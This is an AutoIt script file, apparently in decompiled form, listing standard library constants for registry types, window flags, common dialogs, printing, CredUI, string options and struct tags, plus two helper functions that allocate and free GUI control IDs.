GLOBAL CONST $REG_DWORD = 4
GLOBAL CONST $REG_DWORD_LITTLE_ENDIAN = 4
GLOBAL CONST $REG_DWORD_BIG_ENDIAN = 5
GLOBAL CONST $REG_LINK = 6
GLOBAL CONST $REG_MULTI_SZ = 7
GLOBAL CONST $REG_RESOURCE_LIST = 8
GLOBAL CONST $REG_FULL_RESOURCE_DESCRIPTOR = 9
GLOBAL CONST $REG_RESOURCE_REQUIREMENTS_LIST = 10
GLOBAL CONST $REG_QWORD = 11
GLOBAL CONST $REG_QWORD_LITTLE_ENDIAN = 11
GLOBAL CONST $HWND_BOTTOM = 1
GLOBAL CONST $HWND_NOTOPMOST = + 4294967294
GLOBAL CONST $HWND_TOP = 0
GLOBAL CONST $HWND_TOPMOST = + 4294967295
GLOBAL CONST $SWP_NOSIZE = 1
GLOBAL CONST $SWP_NOMOVE = 2
GLOBAL CONST $SWP_NOZORDER = 4
GLOBAL CONST $SWP_NOREDRAW = 8
GLOBAL CONST $SWP_NOACTIVATE = 16
GLOBAL CONST $SWP_FRAMECHANGED = 32
GLOBAL CONST $SWP_DRAWFRAME = 32
GLOBAL CONST $SWP_SHOWWINDOW = 64
GLOBAL CONST $SWP_HIDEWINDOW = 128
GLOBAL CONST $SWP_NOCOPYBITS = 256
GLOBAL CONST $SWP_NOOWNERZORDER = 512
GLOBAL CONST $SWP_NOREPOSITION = 512
GLOBAL CONST $SWP_NOSENDCHANGING = 1024
GLOBAL CONST $SWP_DEFERERASE = 8192
GLOBAL CONST $SWP_ASYNCWINDOWPOS = 16384
GLOBAL CONST $KEYWORD_DEFAULT = 1
GLOBAL CONST $KEYWORD_NULL = 2
GLOBAL CONST $DECLARED_LOCAL = + 4294967295
GLOBAL CONST $DECLARED_UNKNOWN = 0
GLOBAL CONST $DECLARED_GLOBAL = 1
GLOBAL CONST $ASSIGN_CREATE = 0
GLOBAL CONST $ASSIGN_FORCELOCAL = 1
GLOBAL CONST $ASSIGN_FORCEGLOBAL = 2
GLOBAL CONST $ASSIGN_EXISTFAIL = 4
GLOBAL CONST $BI_ENABLE = 0
GLOBAL CONST $BI_DISABLE = 1
GLOBAL CONST $BREAK_ENABLE = 1
GLOBAL CONST $BREAK_DISABLE = 0
GLOBAL CONST $CDTRAY_OPEN = "open"
GLOBAL CONST $CDTRAY_CLOSED = "closed"
GLOBAL CONST $SEND_DEFAULT = 0
GLOBAL CONST $SEND_RAW = 1
GLOBAL CONST $DIR_DEFAULT = 0
GLOBAL CONST $DIR_EXTENDED = 1
GLOBAL CONST $DIR_NORECURSE = 2
GLOBAL CONST $DIR_REMOVE = 1
GLOBAL CONST $DT_ALL = "ALL"
GLOBAL CONST $DT_CDROM = "CDROM"
GLOBAL CONST $DT_REMOVABLE = "REMOVABLE"
GLOBAL CONST $DT_FIXED = "FIXED"
GLOBAL CONST $DT_NETWORK = "NETWORK"
GLOBAL CONST $DT_RAMDISK = "RAMDISK"
GLOBAL CONST $DT_UNKNOWN = "UNKNOWN"
GLOBAL CONST $DT_UNDEFINED = 1
GLOBAL CONST $DT_FAT = "FAT"
GLOBAL CONST $DT_FAT32 = "FAT32"
GLOBAL CONST $DT_EXFAT = "exFAT"
GLOBAL CONST $DT_NTFS = "NTFS"
GLOBAL CONST $DT_NWFS = "NWFS"
GLOBAL CONST $DT_CDFS = "CDFS"
GLOBAL CONST $DT_UDF = "UDF"
GLOBAL CONST $DMA_DEFAULT = 0
GLOBAL CONST $DMA_PERSISTENT = 1
GLOBAL CONST $DMA_AUTHENTICATION = 8
GLOBAL CONST $DS_UNKNOWN = "UNKNOWN"
GLOBAL CONST $DS_READY = "READY"
GLOBAL CONST $DS_NOTREADY = "NOTREADY"
GLOBAL CONST $DS_INVALID = "INVALID"
GLOBAL CONST $MOUSE_CLICK_LEFT = "left"
GLOBAL CONST $MOUSE_CLICK_RIGHT = "right"
GLOBAL CONST $MOUSE_CLICK_MIDDLE = "middle"
GLOBAL CONST $MOUSE_CLICK_MAIN = "main"
GLOBAL CONST $MOUSE_CLICK_MENU = "menu"
GLOBAL CONST $MOUSE_CLICK_PRIMARY = "primary"
GLOBAL CONST $MOUSE_CLICK_SECONDARY = "secondary"
GLOBAL CONST $MOUSE_WHEEL_UP = "up"
GLOBAL CONST $MOUSE_WHEEL_DOWN = "down"
GLOBAL CONST $NUMBER_AUTO = 0
GLOBAL CONST $NUMBER_32BIT = 1
GLOBAL CONST $NUMBER_64BIT = 2
GLOBAL CONST $NUMBER_DOUBLE = 3
GLOBAL CONST $OBJ_NAME = 1
GLOBAL CONST $OBJ_STRING = 2
GLOBAL CONST $OBJ_PROGID = 3
GLOBAL CONST $OBJ_FILE = 4
GLOBAL CONST $OBJ_MODULE = 5
GLOBAL CONST $OBJ_CLSID = 6
GLOBAL CONST $OBJ_IID = 7
GLOBAL CONST $EXITCLOSE_NORMAL = 0
GLOBAL CONST $EXITCLOSE_BYEXIT = 1
GLOBAL CONST $EXITCLOSE_BYCLICK = 2
GLOBAL CONST $EXITCLOSE_BYLOGOFF = 3
GLOBAL CONST $EXITCLOSE_BYSHUTDOWN = 4
GLOBAL CONST $PROCESS_STATS_MEMORY = 0
GLOBAL CONST $PROCESS_STATS_IO = 1
GLOBAL CONST $PROCESS_LOW = 0
GLOBAL CONST $PROCESS_BELOWNORMAL = 1
GLOBAL CONST $PROCESS_NORMAL = 2
GLOBAL CONST $PROCESS_ABOVENORMAL = 3
GLOBAL CONST $PROCESS_HIGH = 4
GLOBAL CONST $PROCESS_REALTIME = 5
GLOBAL CONST $RUN_LOGON_NOPROFILE = 0
GLOBAL CONST $RUN_LOGON_PROFILE = 1
GLOBAL CONST $RUN_LOGON_NETWORK = 2
GLOBAL CONST $RUN_LOGON_INHERIT = 4
GLOBAL CONST $SOUND_NOWAIT = 0
GLOBAL CONST $SOUND_WAIT = 1
GLOBAL CONST $SHEX_OPEN = "open"
GLOBAL CONST $SHEX_EDIT = "edit"
GLOBAL CONST $SHEX_PRINT = "print"
GLOBAL CONST $SHEX_PROPERTIES = "properties"
GLOBAL CONST $TCP_DATA_DEFAULT = 0
GLOBAL CONST $TCP_DATA_BINARY = 1
GLOBAL CONST $UDP_OPEN_DEFAULT = 0
GLOBAL CONST $UDP_OPEN_BROADCAST = 1
GLOBAL CONST $UDP_DATA_DEFAULT = 0
GLOBAL CONST $UDP_DATA_BINARY = 1
GLOBAL CONST $UDP_DATA_ARRAY = 2
GLOBAL CONST $TIP_NOICON = 0
GLOBAL CONST $TIP_INFOICON = 1
GLOBAL CONST $TIP_WARNINGICON = 2
GLOBAL CONST $TIP_ERRORICON = 3
GLOBAL CONST $TIP_BALLOON = 1
GLOBAL CONST $TIP_CENTER = 2
GLOBAL CONST $TIP_FORCEVISIBLE = 4
GLOBAL CONST $WINDOWS_NOONTOP = 0
GLOBAL CONST $WINDOWS_ONTOP = 1
GLOBAL CONST $WIN_STATE_EXISTS = 1
GLOBAL CONST $WIN_STATE_VISIBLE = 2
GLOBAL CONST $WIN_STATE_ENABLED = 4
GLOBAL CONST $WIN_STATE_ACTIVE = 8
GLOBAL CONST $WIN_STATE_MINIMIZED = 16
GLOBAL CONST $WIN_STATE_MAXIMIZED = 32
GLOBAL CONST $_UDF_GLOBALIDS_OFFSET = 2
GLOBAL CONST $_UDF_GLOBALID_MAX_WIN = 16
GLOBAL CONST $_UDF_STARTID = 10000
GLOBAL CONST $_UDF_GLOBALID_MAX_IDS = 55535
GLOBAL CONST $__UDFGUICONSTANT_WS_TABSTOP = 65536
GLOBAL CONST $__UDFGUICONSTANT_WS_VISIBLE = 268435456
GLOBAL CONST $__UDFGUICONSTANT_WS_CHILD = 1073741824
GLOBAL $__G_AUDF_GLOBALIDS_USED [$_UDF_GLOBALID_MAX_WIN ] [$_UDF_GLOBALID_MAX_IDS + $_UDF_GLOBALIDS_OFFSET + 1 ]
FUNC __UDF_GETNEXTGLOBALID ($HWND )
LOCAL $NCTRLID , $IUSEDINDEX = + 4294967295 , $BALLUSED = TRUE
IF NOT WINEXISTS ($HWND ) THEN RETURN SETERROR (+ 4294967295 , + 4294967295 , 0 )
FOR $IINDEX = 0 TO $_UDF_GLOBALID_MAX_WIN + 4294967295
IF $__G_AUDF_GLOBALIDS_USED [$IINDEX ] [0 ] <> 0 THEN
IF NOT WINEXISTS ($__G_AUDF_GLOBALIDS_USED [$IINDEX ] [0 ] ) THEN
FOR $X = 0 TO UBOUND ($__G_AUDF_GLOBALIDS_USED , $UBOUND_COLUMNS ) + 4294967295
$__G_AUDF_GLOBALIDS_USED [$IINDEX ] [$X ] = 0
NEXT
$__G_AUDF_GLOBALIDS_USED [$IINDEX ] [1 ] = $_UDF_STARTID
$BALLUSED = FALSE
ENDIF
ENDIF
NEXT
FOR $IINDEX = 0 TO $_UDF_GLOBALID_MAX_WIN + 4294967295
IF $__G_AUDF_GLOBALIDS_USED [$IINDEX ] [0 ] = $HWND THEN
$IUSEDINDEX = $IINDEX
EXITLOOP
ENDIF
NEXT
IF $IUSEDINDEX = + 4294967295 THEN
FOR $IINDEX = 0 TO $_UDF_GLOBALID_MAX_WIN + 4294967295
IF $__G_AUDF_GLOBALIDS_USED [$IINDEX ] [0 ] = 0 THEN
$__G_AUDF_GLOBALIDS_USED [$IINDEX ] [0 ] = $HWND
$__G_AUDF_GLOBALIDS_USED [$IINDEX ] [1 ] = $_UDF_STARTID
$BALLUSED = FALSE
$IUSEDINDEX = $IINDEX
EXITLOOP
ENDIF
NEXT
ENDIF
IF $IUSEDINDEX = + 4294967295 AND $BALLUSED THEN RETURN SETERROR (16 , 0 , 0 )
IF $__G_AUDF_GLOBALIDS_USED [$IUSEDINDEX ] [1 ] = $_UDF_STARTID + $_UDF_GLOBALID_MAX_IDS THEN
FOR $IIDINDEX = $_UDF_GLOBALIDS_OFFSET TO UBOUND ($__G_AUDF_GLOBALIDS_USED , $UBOUND_COLUMNS ) + 4294967295
IF $__G_AUDF_GLOBALIDS_USED [$IUSEDINDEX ] [$IIDINDEX ] = 0 THEN
$NCTRLID = ($IIDINDEX - $_UDF_GLOBALIDS_OFFSET ) + 10000
$__G_AUDF_GLOBALIDS_USED [$IUSEDINDEX ] [$IIDINDEX ] = $NCTRLID
RETURN $NCTRLID
ENDIF
NEXT
RETURN SETERROR (+ 4294967295 , $_UDF_GLOBALID_MAX_IDS , 0 )
ENDIF
$NCTRLID = $__G_AUDF_GLOBALIDS_USED [$IUSEDINDEX ] [1 ]
$__G_AUDF_GLOBALIDS_USED [$IUSEDINDEX ] [1 ] += 1
$__G_AUDF_GLOBALIDS_USED [$IUSEDINDEX ] [($NCTRLID + 4294957296 ) + $_UDF_GLOBALIDS_OFFSET ] = $NCTRLID
RETURN $NCTRLID
ENDFUNC
FUNC __UDF_FREEGLOBALID ($HWND , $IGLOBALID )
IF $IGLOBALID - $_UDF_STARTID < 0 OR $IGLOBALID - $_UDF_STARTID > $_UDF_GLOBALID_MAX_IDS THEN RETURN SETERROR (+ 4294967295 , 0 , FALSE )
FOR $IINDEX = 0 TO $_UDF_GLOBALID_MAX_WIN + 4294967295
IF $__G_AUDF_GLOBALIDS_USED [$IINDEX ] [0 ] = $HWND THEN
FOR $X = $_UDF_GLOBALIDS_OFFSET TO UBOUND ($__G_AUDF_GLOBALIDS_USED , $UBOUND_COLUMNS ) + 4294967295
IF $__G_AUDF_GLOBALIDS_USED [$IINDEX ] [$X ] = $IGLOBALID THEN
$__G_AUDF_GLOBALIDS_USED [$IINDEX ] [$X ] = 0
RETURN TRUE
ENDIF
NEXT
RETURN SETERROR (+ 4294967293 , 0 , FALSE )
ENDIF
NEXT
RETURN SETERROR (+ 4294967294 , 0 , FALSE )
ENDFUNC
GLOBAL CONST $__DLG_WM_USER = 1024
GLOBAL CONST $BIF_BROWSEFILEJUNCTIONS = 65536
GLOBAL CONST $BIF_BROWSEFORCOMPUTER = 4096
GLOBAL CONST $BIF_BROWSEFORPRINTER = 8192
GLOBAL CONST $BIF_BROWSEINCLUDEFILES = 16384
GLOBAL CONST $BIF_BROWSEINCLUDEURLS = 128
GLOBAL CONST $BIF_DONTGOBELOWDOMAIN = 2
GLOBAL CONST $BIF_EDITBOX = 16
GLOBAL CONST $BIF_NEWDIALOGSTYLE = 64
GLOBAL CONST $BIF_NONEWFOLDERBUTTON = 512
GLOBAL CONST $BIF_NOTRANSLATETARGETS = 1024
GLOBAL CONST $BIF_RETURNFSANCESTORS = 8
GLOBAL CONST $BIF_RETURNONLYFSDIRS = 1
GLOBAL CONST $BIF_SHAREABLE = 32768
GLOBAL CONST $BIF_STATUSTEXT = 4
GLOBAL CONST $BIF_USENEWUI = BITOR ($BIF_EDITBOX , $BIF_NEWDIALOGSTYLE )
GLOBAL CONST $BIF_UAHINT = 256
GLOBAL CONST $BIF_VALIDATE = 32
GLOBAL CONST $BFFM_INITIALIZED = 1
GLOBAL CONST $BFFM_IUNKNOWN = 5
GLOBAL CONST $BFFM_SELCHANGED = 2
GLOBAL CONST $BFFM_VALIDATEFAILED = 4
GLOBAL CONST $BFFM_SETSTATUSTEXTA = $__DLG_WM_USER + 100
GLOBAL CONST $BFFM_ENABLEOK = $__DLG_WM_USER + 101
GLOBAL CONST $BFFM_SETSELECTIONA = $__DLG_WM_USER + 102
GLOBAL CONST $BFFM_SETSELECTIONW = $__DLG_WM_USER + 103
GLOBAL CONST $BFFM_SETSTATUSTEXTW = $__DLG_WM_USER + 104
GLOBAL CONST $BFFM_SETOKTEXT = $__DLG_WM_USER + 105
GLOBAL CONST $BFFM_SETEXPANDED = $__DLG_WM_USER + 106
GLOBAL CONST $CDERR_DIALOGFAILURE = 65535
GLOBAL CONST $CDERR_FINDRESFAILURE = 6
GLOBAL CONST $CDERR_INITIALIZATION = 2
GLOBAL CONST $CDERR_LOADRESFAILURE = 7
GLOBAL CONST $CDERR_LOADSTRFAILURE = 5
GLOBAL CONST $CDERR_LOCKRESFAILURE = 8
GLOBAL CONST $CDERR_MEMALLOCFAILURE = 9
GLOBAL CONST $CDERR_MEMLOCKFAILURE = 10
GLOBAL CONST $CDERR_NOHINSTANCE = 4
GLOBAL CONST $CDERR_NOHOOK = 11
GLOBAL CONST $CDERR_NOTEMPLATE = 3
GLOBAL CONST $CDERR_REGISTERMSGFAIL = 12
GLOBAL CONST $CDERR_STRUCTSIZE = 1
GLOBAL CONST $PDERR_CREATEICFAILURE = 4106
GLOBAL CONST $PDERR_DEFAULTDIFFERENT = 4108
GLOBAL CONST $PDERR_DNDMMISMATCH = 4105
GLOBAL CONST $PDERR_GETDEVMODEFAIL = 4101
GLOBAL CONST $PDERR_INITFAILURE = 4102
GLOBAL CONST $PDERR_LOADDRVFAILURE = 4100
GLOBAL CONST $PDERR_NODEFAULTPRN = 4104
GLOBAL CONST $PDERR_NODEVICES = 4103
GLOBAL CONST $PDERR_PARSEFAILURE = 4098
GLOBAL CONST $PDERR_PRINTERNOTFOUND = 4107
GLOBAL CONST $PDERR_RETDEFFAILURE = 4099
GLOBAL CONST $PDERR_SETUPFAILURE = 4097
GLOBAL CONST $CFERR_MAXLESSTHANMIN = 8194
GLOBAL CONST $CFERR_NOFONTS = 8193
GLOBAL CONST $FNERR_BUFFERTOOSMALL = 12291
GLOBAL CONST $FNERR_INVALIDFILENAME = 12290
GLOBAL CONST $FNERR_SUBCLASSFAILURE = 12289
GLOBAL CONST $FRERR_BUFFERLENGTHZERO = 16385
GLOBAL CONST $FR_DIALOGTERM = 64
GLOBAL CONST $FR_DOWN = 1
GLOBAL CONST $FR_ENABLEHOOK = 256
GLOBAL CONST $FR_ENABLETEMPLATE = 512
GLOBAL CONST $FR_ENABLETEMPLATEHANDLE = 8192
GLOBAL CONST $FR_FINDNEXT = 8
GLOBAL CONST $FR_HIDEUPDOWN = 16384
GLOBAL CONST $FR_HIDEMATCHCASE = 32768
GLOBAL CONST $FR_HIDEWHOLEWORD = 65536
GLOBAL CONST $FR_MATCHCASE = 4
GLOBAL CONST $FR_NOMATCHCASE = 2048
GLOBAL CONST $FR_NOUPDOWN = 1024
GLOBAL CONST $FR_NOWHOLEWORD = 4096
GLOBAL CONST $FR_REPLACE = 16
GLOBAL CONST $FR_REPLACEALL = 32
GLOBAL CONST $FR_SHOWHELP = 128
GLOBAL CONST $FR_WHOLEWORD = 2
GLOBAL CONST $SHFMT_ID_DEFAULT = 65535
GLOBAL CONST $SHFMT_OPT_FULL = 0
GLOBAL CONST $SHFMT_OPT_QUICKFORMAT = 1
GLOBAL CONST $SHFMT_OPT_SYSONLY = 2
GLOBAL CONST $SHFMT_ERROR = + 4294967295
GLOBAL CONST $SHFMT_CANCEL = + 4294967294
GLOBAL CONST $SHFMT_NOFORMAT = + 4294967293
GLOBAL CONST $CDM_FIRST = $__DLG_WM_USER + 100
GLOBAL CONST $CDM_GETSPEC = $CDM_FIRST
GLOBAL CONST $CDM_GETFILEPATH = $CDM_FIRST + 1
GLOBAL CONST $CDM_GETFOLDERPATH = $CDM_FIRST + 2
GLOBAL CONST $CDM_GETFOLDERIDLIST = $CDM_FIRST + 3
GLOBAL CONST $CDM_SETCONTROLTEXT = $CDM_FIRST + 4
GLOBAL CONST $CDM_HIDECONTROL = $CDM_FIRST + 5
GLOBAL CONST $CDM_SETDEFEXT = $CDM_FIRST + 6
GLOBAL CONST $CDM_LAST = $__DLG_WM_USER + 200
GLOBAL CONST $CDN_FIRST = + 4294966695
GLOBAL CONST $CDN_INITDONE = $CDN_FIRST
GLOBAL CONST $CDN_SELCHANGE = $CDN_FIRST + 4294967295
GLOBAL CONST $CDN_FOLDERCHANGE = $CDN_FIRST + 4294967294
GLOBAL CONST $CDN_SHAREVIOLATION = $CDN_FIRST + 4294967293
GLOBAL CONST $CDN_HELP = $CDN_FIRST + 4294967292
GLOBAL CONST $CDN_FILEOK = $CDN_FIRST + 4294967291
GLOBAL CONST $CDN_TYPECHANGE = $CDN_FIRST + 4294967290
GLOBAL CONST $CDN_INCLUDEITEM = $CDN_FIRST + 4294967289
GLOBAL CONST $CDN_LAST = + 4294966597
GLOBAL CONST $PSD_DEFAULTMINMARGINS = 0
GLOBAL CONST $PSD_DISABLEMARGINS = 16
GLOBAL CONST $PSD_DISABLEORIENTATION = 256
GLOBAL CONST $PSD_DISABLEPAGEPAINTING = 524288
GLOBAL CONST $PSD_DISABLEPAPER = 512
GLOBAL CONST $PSD_DISABLEPRINTER = 32
GLOBAL CONST $PSD_ENABLEPAGEPAINTHOOK = 262144
GLOBAL CONST $PSD_ENABLEPAGESETUPHOOK = 8192
GLOBAL CONST $PSD_ENABLEPAGESETUPTEMPLATE = 32768
GLOBAL CONST $PSD_ENABLEPAGESETUPTEMPLATEHANDLE = 131072
GLOBAL CONST $PSD_INHUNDREDTHSOFMILLIMETERS = 8
GLOBAL CONST $PSD_INTHOUSANDTHSOFINCHES = 4
GLOBAL CONST $PSD_MARGINS = 2
GLOBAL CONST $PSD_MINMARGINS = 1
GLOBAL CONST $PSD_NONETWORKBUTTON = 2097152
GLOBAL CONST $PSD_NOWARNING = 128
GLOBAL CONST $PSD_RETURNDEFAULT = 1024
GLOBAL CONST $PSD_SHOWHELP = 2048
GLOBAL CONST $WM_PSD_PAGESETUPDLG = $__DLG_WM_USER
GLOBAL CONST $WM_PSD_FULLPAGERECT = $__DLG_WM_USER + 1
GLOBAL CONST $WM_PSD_MINMARGINRECT = $__DLG_WM_USER + 2
GLOBAL CONST $WM_PSD_MARGINRECT = $__DLG_WM_USER + 3
GLOBAL CONST $WM_PSD_GREEKTEXTRECT = $__DLG_WM_USER + 4
GLOBAL CONST $WM_PSD_ENVSTAMPRECT = $__DLG_WM_USER + 5
GLOBAL CONST $WM_PSD_YAFULLPAGERECT = $__DLG_WM_USER + 6
GLOBAL CONST $PD_ALLPAGES = 0
GLOBAL CONST $PD_COLLATE = 16
GLOBAL CONST $PD_CURRENTPAGE = 4194304
GLOBAL CONST $PD_DISABLEPRINTTOFILE = 524288
GLOBAL CONST $PD_ENABLEPRINTHOOK = 4096
GLOBAL CONST $PD_ENABLEPRINTTEMPLATE = 16384
GLOBAL CONST $PD_ENABLEPRINTTEMPLATEHANDLE = 65536
GLOBAL CONST $PD_ENABLESETUPHOOK = 8192
GLOBAL CONST $PD_ENABLESETUPTEMPLATE = 32768
GLOBAL CONST $PD_ENABLESETUPTEMPLATEHANDLE = 131072
GLOBAL CONST $PD_EXCLUSIONFLAGS = 16777216
GLOBAL CONST $PD_HIDEPRINTTOFILE = 1048576
GLOBAL CONST $PD_NOCURRENTPAGE = 8388608
GLOBAL CONST $PD_NONETWORKBUTTON = 2097152
GLOBAL CONST $PD_NOPAGENUMS = 8
GLOBAL CONST $PD_NOSELECTION = 4
GLOBAL CONST $PD_NOWARNING = 128
GLOBAL CONST $PD_PAGENUMS = 2
GLOBAL CONST $PD_PRINTSETUP = 64
GLOBAL CONST $PD_PRINTTOFILE = 32
GLOBAL CONST $PD_RETURNDC = 256
GLOBAL CONST $PD_RETURNDEFAULT = 1024
GLOBAL CONST $PD_RETURNIC = 512
GLOBAL CONST $PD_SELECTION = 1
GLOBAL CONST $PD_SHOWHELP = 2048
GLOBAL CONST $PD_USEDEVMODECOPIES = 262144
GLOBAL CONST $PD_USEDEVMODECOPIESANDCOLLATE = $PD_USEDEVMODECOPIES
GLOBAL CONST $PD_USELARGETEMPLATE = 268435456
GLOBAL CONST $PD_RESULT_APPLY = 2
GLOBAL CONST $PD_RESULT_CANCEL = 0
GLOBAL CONST $PD_RESULT_PRINT = 1
GLOBAL CONST $EWX_LOGOFF = 0
GLOBAL CONST $EWX_POWEROFF = 8
GLOBAL CONST $EWX_REBOOT = 2
GLOBAL CONST $EWX_SHUTDOWN = 1
GLOBAL CONST $EWX_FORCE = 4
GLOBAL CONST $EWX_FORCEIFHUNG = 16
GLOBAL CONST $OAIF_ALLOW_REGISTRATION = 1
GLOBAL CONST $OAIF_REGISTER_EXT = 2
GLOBAL CONST $OAIF_EXEC = 4
GLOBAL CONST $OAIF_FORCE_REGISTRATION = 8
GLOBAL CONST $OAIF_HIDE_REGISTRATION = 32
GLOBAL CONST $OAIF_URL_PROTOCOL = 64
GLOBAL CONST $CREDUI_FLAGS_ALWAYS_SHOW_UI = 128
GLOBAL CONST $CREDUI_FLAGS_COMPLETE_USERNAME = 2048
GLOBAL CONST $CREDUI_FLAGS_DO_NOT_PERSIST = 2
GLOBAL CONST $CREDUI_FLAGS_EXCLUDE_CERTIFICATES = 8
GLOBAL CONST $CREDUI_FLAGS_EXPECT_CONFIRMATION = 131072
GLOBAL CONST $CREDUI_FLAGS_GENERIC_CREDENTIALS = 262144
GLOBAL CONST $CREDUI_FLAGS_INCORRECT_PASSWORD = 1
GLOBAL CONST $CREDUI_FLAGS_KEEP_USERNAME = 1048576
GLOBAL CONST $CREDUI_FLAGS_PASSWORD_ONLY_OK = 512
GLOBAL CONST $CREDUI_FLAGS_PERSIST = 4096
GLOBAL CONST $CREDUI_FLAGS_REQUEST_ADMINISTRATOR = 4
GLOBAL CONST $CREDUI_FLAGS_REQUIRE_CERTIFICATE = 16
GLOBAL CONST $CREDUI_FLAGS_REQUIRE_SMARTCARD = 256
GLOBAL CONST $CREDUI_FLAGS_SERVER_CREDENTIAL = 16384
GLOBAL CONST $CREDUI_FLAGS_SHOW_SAVE_CHECK_BOX = 64
GLOBAL CONST $CREDUI_FLAGS_USERNAME_TARGET_CREDENTIALS = 524288
GLOBAL CONST $CREDUI_FLAGS_VALIDATE_USERNAME = 1024
GLOBAL CONST $CREDUIWIN_AUTHPACKAGE_ONLY = 16
GLOBAL CONST $CREDUIWIN_CHECKBOX = 2
GLOBAL CONST $CREDUIWIN_ENUMERATE_ADMINS = 256
GLOBAL CONST $CREDUIWIN_ENUMERATE_CURRENT_USER = 512
GLOBAL CONST $CREDUIWIN_GENERIC = 1
GLOBAL CONST $CREDUIWIN_IN_CRED_ONLY = 32
GLOBAL CONST $CREDUIWIN_SECURE_PROMPT = 4096
GLOBAL CONST $CREDUIWIN_PACK_32_WOW = 268435456
GLOBAL CONST $CREDUIWIN_PREPROMPTING = 8192
GLOBAL CONST $STR_NOCASESENSE = 0
GLOBAL CONST $STR_CASESENSE = 1
GLOBAL CONST $STR_NOCASESENSEBASIC = 2
GLOBAL CONST $STR_STRIPLEADING = 1
GLOBAL CONST $STR_STRIPTRAILING = 2
GLOBAL CONST $STR_STRIPSPACES = 4
GLOBAL CONST $STR_STRIPALL = 8
GLOBAL CONST $STR_CHRSPLIT = 0
GLOBAL CONST $STR_ENTIRESPLIT = 1
GLOBAL CONST $STR_NOCOUNT = 2
GLOBAL CONST $STR_REGEXPMATCH = 0
GLOBAL CONST $STR_REGEXPARRAYMATCH = 1
GLOBAL CONST $STR_REGEXPARRAYFULLMATCH = 2
GLOBAL CONST $STR_REGEXPARRAYGLOBALMATCH = 3
GLOBAL CONST $STR_REGEXPARRAYGLOBALFULLMATCH = 4
GLOBAL CONST $STR_ENDISSTART = 0
GLOBAL CONST $STR_ENDNOTSTART = 1
GLOBAL CONST $SB_ANSI = 1
GLOBAL CONST $SB_UTF16LE = 2
GLOBAL CONST $SB_UTF16BE = 3
GLOBAL CONST $SB_UTF8 = 4
GLOBAL CONST $SE_UTF16 = 0
GLOBAL CONST $SE_ANSI = 1
GLOBAL CONST $SE_UTF8 = 2
GLOBAL CONST $STR_UTF16 = 0
GLOBAL CONST $STR_UCS2 = 1
GLOBAL CONST $TAGPOINT = "struct;long X;long Y;endstruct"
GLOBAL CONST $TAGRECT = "struct;long Left;long Top;long Right;long Bottom;endstruct"
GLOBAL CONST $TAGSIZE = "struct;long X;long Y;endstruct"
GLOBAL CONST $TAGMARGINS = "int cxLeftWidth;int cxRightWidth;int cyTopHeight;int cyBottomHeight"
GLOBAL CONST $TAGFILETIME = "struct;dword Lo;dword Hi;endstruct"
GLOBAL CONST $TAGSYSTEMTIME = "struct;word Year;word Month;word Dow;word Day;word Hour;word Minute;word Second;word MSeconds;endstruct"
GLOBAL CONST $TAGTIME_ZONE_INFORMATION = "struct;long Bias;wchar StdName[32];word StdDate[8];long StdBias;wchar DayName[32];word DayDate[8];long DayBias;endstruct"
GLOBAL CONST $TAGNMHDR = "struct;hwnd hWndFrom;uint_ptr IDFrom;INT Code;endstruct"
GLOBAL CONST $TAGCOMBOBOXEXITEM = "uint Mask;int_ptr Item;ptr Text;int TextMax;int Image;int SelectedImage;int OverlayImage;" & "int Indent;lparam Param"
GLOBAL CONST $TAGNMCBEDRAGBEGIN = $TAGNMHDR & ";int ItemID;wchar szText[260]"
GLOBAL CONST $TAGNMCBEENDEDIT = $TAGNMHDR & ";bool fChanged;int NewSelection;wchar szText[260];int Why"
GLOBAL CONST $TAGNMCOMBOBOXEX = $TAGNMHDR & ";uint Mask;int_ptr Item;ptr Text;int TextMax;int Image;" & "int SelectedImage;int OverlayImage;int Indent;lparam Param"
GLOBAL CONST $TAGDTPRANGE = "word MinYear;word MinMonth;word MinDOW;word MinDay;word MinHour;word MinMinute;" & "word MinSecond;word MinMSecond;word MaxYear;word MaxMonth;word MaxDOW;word MaxDay;word MaxHour;" & "word MaxMinute;word MaxSecond;word MaxMSecond;bool MinValid;bool MaxValid"
GLOBAL CONST $TAGNMDATETIMECHANGE = $TAGNMHDR & ";dword Flag;" & $TAGSYSTEMTIME
GLOBAL CONST $TAGNMDATETIMEFORMAT = $TAGNMHDR & ";ptr Format;" & $TAGSYSTEMTIME & ";ptr pDisplay;wchar Display[64]"
GLOBAL CONST $TAGNMDATETIMEFORMATQUERY = $TAGNMHDR & ";ptr Format;struct;long SizeX;long SizeY;endstruct"
GLOBAL CONST $TAGNMDATETIMEKEYDOWN = $TAGNMHDR & ";int VirtKey;ptr Format;" & $TAGSYSTEMTIME
GLOBAL CONST $TAGNMDATETIMESTRING = $TAGNMHDR & ";ptr UserString;" & $TAGSYSTEMTIME & ";dword Flags"
GLOBAL CONST $TAGEVENTLOGRECORD = "dword Length;dword Reserved;dword RecordNumber;dword TimeGenerated;dword TimeWritten;dword EventID;" & "word EventType;word NumStrings;word EventCategory;word ReservedFlags;dword ClosingRecordNumber;dword StringOffset;" & "dword UserSidLength;dword UserSidOffset;dword DataLength;dword DataOffset"
GLOBAL CONST $TAGGDIP_EFFECTPARAMS_BLUR = "float Radius; bool ExpandEdge"
GLOBAL CONST $TAGGDIP_EFFECTPARAMS_BRIGHTNESSCONTRAST = "int BrightnessLevel; int ContrastLevel"
GLOBAL CONST $TAGGDIP_EFFECTPARAMS_COLORBALANCE = "int CyanRed; int MagentaGreen; int YellowBlue"
GLOBAL CONST $TAGGDIP_EFFECTPARAMS_COLORCURVE = "int Adjustment; int Channel; int AdjustValue"
GLOBAL CONST $TAGGDIP_EFFECTPARAMS_COLORLUT = "byte LutB[256]; byte LutG[256]; byte LutR[256]; byte LutA[256]"
GLOBAL CONST $TAGGDIP_EFFECTPARAMS_HUESATURATIONLIGHTNESS = "int HueLevel; int SaturationLevel; int LightnessLevel"
GLOBAL CONST $TAGGDIP_EFFECTPARAMS_LEVELS = "int Highlight; int Midtone; int Shadow"
GLOBAL CONST $TAGGDIP_EFFECTPARAMS_REDEYECORRECTION = "uint NumberOfAreas; ptr Areas"
GLOBAL CONST $TAGGDIP_EFFECTPARAMS_SHARPEN = "float Radius; float Amount"
GLOBAL CONST $TAGGDIP_EFFECTPARAMS_TINT = "int Hue; int Amount"
GLOBAL CONST $TAGGDIPBITMAPDATA = "uint Width;uint Height;int Stride;int Format;ptr Scan0;uint_ptr Reserved"
GLOBAL CONST $TAGGDIPCOLORMATRIX = "float m[25]"
GLOBAL CONST $TAGGDIPENCODERPARAM = "struct;byte GUID[16];ulong NumberOfValues;ulong Type;ptr Values;endstruct"
